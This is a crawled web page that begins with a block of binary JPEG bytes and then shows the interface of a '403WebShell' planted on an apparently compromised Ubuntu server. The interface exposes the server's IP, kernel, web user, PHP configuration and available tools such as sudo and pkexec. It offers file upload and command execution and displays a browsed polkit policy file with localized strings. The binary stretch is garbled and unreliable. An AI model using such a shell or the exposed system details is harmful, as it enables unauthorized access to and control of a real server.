JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 13.127.148.211  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ip-172-31-43-195 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/polkit-1/actions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/polkit-1/actions/com.ubuntu.release-upgrader.policy
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE policyconfig PUBLIC
 "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN"
 "http://www.freedesktop.org/standards/PolicyKit/1.0/policyconfig.dtd">
<policyconfig>
  <vendor>Ubuntu</vendor>
  <vendor_url>http://www.ubuntu.com/</vendor_url>
  <icon_name>system-software-update</icon_name>

  <action id="com.ubuntu.release-upgrader.release-upgrade">
    <description>Perform a release upgrade</description>
    <description xml:lang="af">Verrig 'n vrylating opgrader</description>
    <description xml:lang="am">የ ተለቀቀ ማሻሻያ መፈጸሚያ</description>
    <description xml:lang="ar">أجر ترقية للإصدارة</description>
    <description xml:lang="ast">Facer un anovamientu de la versión</description>
    <description xml:lang="be">Выканаць абнаўленне выпуску</description>
    <description xml:lang="bg">Стартирай надграждането на изданието</description>
    <description xml:lang="bs">Obavi nadogradnju izdanja</description>
    <description xml:lang="ca">Realitza una actualització de la versió</description>
    <description xml:lang="cs">Zahájit přechod na novější vydání</description>
    <description xml:lang="da">Udfør en opgradering af udgivelse</description>
    <description xml:lang="de">Eine Systemaktualisierung durchführen</description>
    <description xml:lang="el">Εκτέλεση αναβάθμισης της έκδοσης της διανομής σας</description>
    <description xml:lang="en_AU">Perform a release upgrade</description>
    <description xml:lang="en_CA">Perform a release upgrade</description>
    <description xml:lang="en_GB">Perform a release upgrade</description>
    <description xml:lang="eo">Efektivigi ĝisdatigon de eldono</description>
    <description xml:lang="es">Realizar una actualización de la versión</description>
    <description xml:lang="fi">Suorita järjestelmäpäivitys</description>
    <description xml:lang="fr">Effectuer une mise à niveau de version</description>
    <description xml:lang="fr_CA">Effectuer une mise à niveau de version</description>
    <description xml:lang="gd">Dèan àrdachadh sgaoilidh</description>
    <description xml:lang="gl">Realizar unha anovación de versión</description>
    <description xml:lang="he">ביצוע שדרוג מהדורה</description>
    <description xml:lang="hr">Pokreni nadogradnju izdanja</description>
    <description xml:lang="hu">Kiadásfrissítés végrehajtása</description>
    <description xml:lang="ia">Exequer un promotion del version</description>
    <description xml:lang="it">Eseguire un avanzamento di versione</description>
    <description xml:lang="ja">リリースアップグレードを実行する</description>
    <description xml:lang="km">ធ្វើ​បច្ចុប្បន្នភាព​ការ​ចេញ​ផ្សាយ</description>
    <description xml:lang="ko">배포판 업그레이드 실행</description>
    <description xml:lang="ku">Bilindkirineke guherto pêk bîne</description>
    <description xml:lang="lt">Atlikti laidos atnaujinimą</description>
    <description xml:lang="lv">Veikt laidiena uzlabošanu</description>
    <description xml:lang="ms">Buat penataran pelepasan</description>
    <description xml:lang="nb">Oppgrader Ubuntu til nyeste versjon</description>
    <description xml:lang="nl">Voer een versie-opwaardering uit</description>
    <description xml:lang="nn">Utfør oppgradering av utgåva</description>
    <description xml:lang="oc">Efectuar una mesa a nivèl de version</description>
    <description xml:lang="pa">ਰੀਲਿਜ਼ ਅੱਪਗਰੇਡ ਕਰੋ</description>
    <description xml:lang="pl">Zaktualizuj wydanie</description>
    <description xml:lang="pt">Executar uma atualização de lançamento</description>
    <description xml:lang="pt_BR">Realizar uma atualização de versão</description>
    <description xml:lang="ro">Se realizează o actualizare de versiune</description>
    <description xml:lang="ru">Выполнить обновление выпуска</description>
    <description xml:lang="sk">Vykonať prechod na novšie vydanie</description>
    <description xml:lang="sl">Izvedi nadgradnjo izdaje</description>
    <description xml:lang="sq">Bëni një përditësim të versionit.</description>
    <description xml:lang="sr">Изврши надоградњу издања</description>
    <description xml:lang="sv">Utför en uppgradering av utgåva</description>
    <description xml:lang="szl">Zaktualizuj wydanie</description>
    <description xml:lang="th">ดำเนินการอัปเกรดแบบทั้งหมด</description>
    <description xml:lang="tr">Sürüm yükseltmeyi gerçekleştir</description>
    <description xml:lang="ug">تولۇق يۈكسەلدۈرۈش</description>
    <description xml:lang="uk">Виконати оновлення випуску</description>
    <description xml:lang="vi">Thực hiện bản nâng cấp được đưa ra</description>
    <description xml:lang="zh_CN">执行版本升级</description>
    <description xml:lang="zh_HK">執行發行版升級</description>
    <description xml:lang="zh_TW">執行發行版升級</description>
    <message>To upgrade Ubuntu, you need to authenticate.</message>
    <message xml:lang="af">Te opgrader Ubuntu, moet jy om outentiseer.</message>
    <message xml:lang="am">ኡቡንቱን ለማሻሻል ማረጋገጫ ያስፈልጋል</message>
    <message xml:lang="ar">تحتاج للاستيثاق لترقية أوبونتو.</message>
    <message xml:lang="ast">P'anovar Ubuntu, necesites autenticate.</message>
    <message xml:lang="be">Для абнаўлення Ubuntu, патрэбная аўтэнтыфікацыя.</message>
    <message xml:lang="bg">За да надградите Убунту, ще трябва да се идентифицирате.</message>
    <message xml:lang="bs">Da nadogradite Ubuntu, trebate se prijaviti.</message>
    <message xml:lang="ca">Cal que us autentiqueu per actualitzar l'Ubuntu.</message>
    <message xml:lang="ca@valencia">Cal que vos autentiqueu per actualitzar l'Ubuntu.</message>
    <message xml:lang="cs">Pro povýšení Ubuntu se musíte autorizovat.</message>
    <message xml:lang="da">Du skal godkende for at opgradere Ubuntu.</message>
    <message xml:lang="de">Um Ubuntu zu aktualisieren, müssen Sie sich authentifizieren.</message>
    <message xml:lang="el">Για να αναβαθμίσετε το Ubuntu, πρέπει να επιβεβαιώσετε με τον κωδικό σας.</message>
    <message xml:lang="en_AU">To upgrade Ubuntu, you need to authenticate.</message>
    <message xml:lang="en_CA">To upgrade Ubuntu, you need to authenticate.</message>
    <message xml:lang="en_GB">To upgrade Ubuntu, you need to authenticate.</message>
    <message xml:lang="eo">Por promocii je Ubuntu, necesas ke vi aŭtentigi vin.</message>
    <message xml:lang="es">Para actualizar Ubuntu, necesita autenticarse.</message>
    <message xml:lang="et">Ubuntu uuendamiseks peate ennast autentima.</message>
    <message xml:lang="eu">Ubuntu bertsio-berritzeko, autentifikatu beharra duzu.</message>
    <message xml:lang="fi">Ubuntun versiopäivitys vaatii tunnistautumisen.</message>
    <message xml:lang="fr">Pour mettre à niveau Ubuntu, vous devez vous identifier.</message>
    <message xml:lang="fr_CA">Pour mettre à niveau Ubuntu, vous devez vous authentifier.</message>
    <message xml:lang="gd">Feumaidh tu dearbhadh mus urrainn dhut Ubuntu àrdachadh.</message>
    <message xml:lang="gl">Para anovar Ubuntu, é preciso que se autentifique.</message>
    <message xml:lang="he">כדי לשדרג את אובונטו, יהיה עליך להזדהות.</message>
    <message xml:lang="hr">Za nadogradnju Ubuntua, potrebna je ovjera.</message>
    <message xml:lang="hu">A frissítéshez hitelesítés szükséges.</message>
    <message xml:lang="ia">Pro promover Ubuntu, tu necessita ser authenticate.</message>
    <message xml:lang="id">Untuk meningkatkan Ubuntu, Anda perlu mengotentikasi.</message>
    <message xml:lang="it">Per eseguire l'aggiornamento di Ubuntu, è necessario autenticarsi.</message>
    <message xml:lang="ja">Ubuntuをアップグレードするには、認証が必要です。</message>
    <message xml:lang="km">ដើម្បី​ធ្វើ​បច្ចុប្បន្នភាព​​អ៊ូប៊ុនទូ  អ្នក​ចាំបាច់​ផ្ទៀងផ្ទាត់។</message>
    <message xml:lang="ko">우분투를 업그레이드하려면 인증을 해주십시오.</message>
    <message xml:lang="ku">Ji bo bilindkirina Ubuntuyê, divê tu nasnameyê piştrast bikî.</message>
    <message xml:lang="lt">Norint atnaujinti Ubuntu, reikia autentifikuotis.</message>
    <message xml:lang="lv">Lai modernizet Ubuntu, jums ir jaautentificejas.</message>
    <message xml:lang="ms">Untuk menatar Ubuntu, anda perlu sahihkan.</message>
    <message xml:lang="nb">Du må autentisere deg for å oppgradere Ubuntu.</message>
    <message xml:lang="nl">Voor een upgrade van Ubuntu is authenticatie vereist.</message>
    <message xml:lang="nn">Du må autentisera deg for å oppgradera Ubuntu.</message>
    <message xml:lang="oc">Per metre a nivèl Ubuntu, vos cal vos identificar.</message>
    <message xml:lang="pa">ਉਬੰਤੂ ਅੱਪਗਰੇਡ ਕਰਨ ਲਈ, ਤੁਹਾਨੂੰ ਪਰਮਾਣਿਤ ਕਰਨ ਦੀ ਲੋੜ ਹੈ।</message>
    <message xml:lang="pl">Aby zaktualizować Ubuntu, musisz podać hasło.</message>
    <message xml:lang="pt">Para atualizar o Ubuntu, tem que se autenticar.</message>
    <message xml:lang="pt_BR">Para atualizar o Ubuntu, você precisa autenticar-se.</message>
    <message xml:lang="ro">Pentru a actualiza Ubuntu trebuie să vă autentificați.</message>
    <message xml:lang="ru">Для обновления Ubuntu вам нужно представиться.</message>
    <message xml:lang="sk">Na aktualizáciu Ubuntu je potrebné overenie totožnosti.</message>
    <message xml:lang="sl">Za nadgradnjo sistema Ubuntu je zahtevana overitev.</message>
    <message xml:lang="sq">Për të përditësuar Ubuntu, ju duhet të identifikoheni.</message>
    <message xml:lang="sr">Да надоградите Убунту, морате да потврдите идентитет</message>
    <message xml:lang="sv">För att uppgradera Ubuntu måste din identitet kontrolleras.</message>
    <message xml:lang="szl">Coby zaktualizować Ubuntu, musisz podać hasło.</message>
    <message xml:lang="tg">Барои такмил додани Ubuntu, шумо бояд ворид шавед.</message>
    <message xml:lang="th">คุณต้องยืนยันตัวตนเพื่อทำการอัปเกรด Ubuntu</message>
    <message xml:lang="tr">Ubuntu'yu yükseltmek için kimlik doğrulamanız gerekiyor.</message>
    <message xml:lang="ug">ئۇبۇنتۇنى يۈكسەلدۈرۈش ئۈچۈن كىملىك دەلىللەش زۆرۈر.</message>
    <message xml:lang="uk">Для оновлення Ubuntu, потрібна автентифікація.</message>
    <message xml:lang="zh_CN">升级 Ubuntu 版本前,您需要授权该操作。</message>
    <message xml:lang="zh_HK">要先核證身分才能升級 Ubuntu。</message>
    <message xml:lang="zh_TW">要先核對身分才能升級 Ubuntu。</message>
    <annotate key="org.freedesktop.policykit.exec.path">/usr/bin/do-release-upgrade</annotate>
    <annotate key="org.freedesktop.policykit.exec.allow_gui">true</annotate>

    <defaults>
      <allow_any>no</allow_any>
      <allow_inactive>no</allow_inactive>
      <allow_active>auth_admin</allow_active>
    </defaults>
  </action>

  <action id="com.ubuntu.release-upgrader.partial-upgrade">
    <description>Perform a partial upgrade</description>
    <description xml:lang="af">Verrig 'n gedeeltelike opgrader</description>
    <description xml:lang="am">በ ከፊል ማሻሻያ መፈጸሚያ</description>
    <description xml:lang="ar">أجر ترقية جزئية</description>
    <description xml:lang="ast">Facer un anovamientu parcial</description>
    <description xml:lang="be">Выканаць частковае абнаўленне</description>
    <description xml:lang="bg">Изпълни частично надграждане</description>
    <description xml:lang="bs">Obavi dodatnu nadogradnju</description>
    <description xml:lang="ca">Realitza una actualització parcial</description>
    <description xml:lang="cs">Provést částečné povýšení</description>
    <description xml:lang="da">Udfør en delvis opgradering</description>
    <description xml:lang="de">Eine teilweise Systemaktualisierung durchführen</description>
    <description xml:lang="el">Εκτέλεση μιας μερικής αναβάθμισης</description>
    <description xml:lang="en_AU">Perform a partial upgrade</description>
    <description xml:lang="en_CA">Perform a partial upgrade</description>
    <description xml:lang="en_GB">Perform a partial upgrade</description>
    <description xml:lang="eo">Efektivigi partan ĝisdatigon</description>
    <description xml:lang="es">Realizar una actualización parcial</description>
    <description xml:lang="fi">Suorita osittainen päivitys</description>
    <description xml:lang="fr">Effectuer une mise à niveau partielle</description>
    <description xml:lang="fr_CA">Effectuer une mise à niveau partielle</description>
    <description xml:lang="gd">Dèan àrdachadh leth-phàirteach</description>
    <description xml:lang="gl">Realizar unha anovación parcial</description>
    <description xml:lang="he">ביצוע שדרוג חלקי</description>
    <description xml:lang="hr">Pokreni djelomičnu nadogradnju</description>
    <description xml:lang="hu">Részleges frissítés végrehajtása</description>
    <description xml:lang="ia">Exequer un promotion partial</description>
